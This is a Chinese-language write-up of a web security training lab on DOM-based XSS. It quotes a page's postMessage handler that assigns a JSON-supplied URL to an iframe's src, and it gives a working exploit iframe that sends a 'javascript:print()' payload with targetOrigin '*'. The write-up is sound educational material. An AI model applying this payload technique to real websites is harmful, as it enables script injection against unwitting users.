# DOM-based Lab3
這題是結合了 postMessage + JSON.parse + iframe.src = javascript: 的 DOM-based XSS 利用。
所以一樣先進入網站。

可以在原始碼發現下列線索:
```html
<script>
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
}
catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
</script>
```
這代表:
- 每收到一個 message,就動態新建一個 iframe 並加到頁面裡。
- 對 e.data 用 JSON.parse 嘗試解析,失敗就 return。
根據 type 執行不同操作:
| type | 動作 |
| -------- | -------- |
| "page-load" | iframe 捲動到可視區域 |
| "load-channel" | 把 iframe.src 指定成 d.url |
| "player-height-changed" | 調整 iframe 大小 |
攻擊用法:
`load-channel` 會直接把` d.url` 賦值給 `iframe.src`,沒有任何安全檢查。
所以只要能 postMessage 送一個 JSON,裡面 type 是 `load-channel`,url 是 `javascript:print()` 之類的 XSS payload,就能彈出列印對話框。
因此:
```html
<iframe src=https://0a5300b403aa7c7682f90697004200d5.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
```
`"{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}"`
這是一段 JSON 字串,裡面包含兩個 key:
```
{
"type": "load-channel",
"url": "javascript:print()"
}
```
- type: "load-channel":這會觸發目標頁面中 switch 裡面的 case "load-channel"。
- url: "javascript:print()":當目標頁面的程式碼把這個值賦給 iframe.src 時,就變成:
```
iframe.src = "javascript:print()"
```
→ 會執行 print()(等於彈出列印對話框)
` "*" ` 是 targetOrigin,表示訊息可以發送給任何來源的頁面(不做安全限制)。
目標網站裡的程式碼會這樣處理訊息:
```
d = JSON.parse(e.data);
if (d.type === "load-channel") {
ACMEplayer.element.src = d.url;
}
```
→ 它直接把 外部來的資料套用到 DOM 裡,而且居然還接受 javascript: URL,這就是 DOM-based XSS 的經典漏洞。

---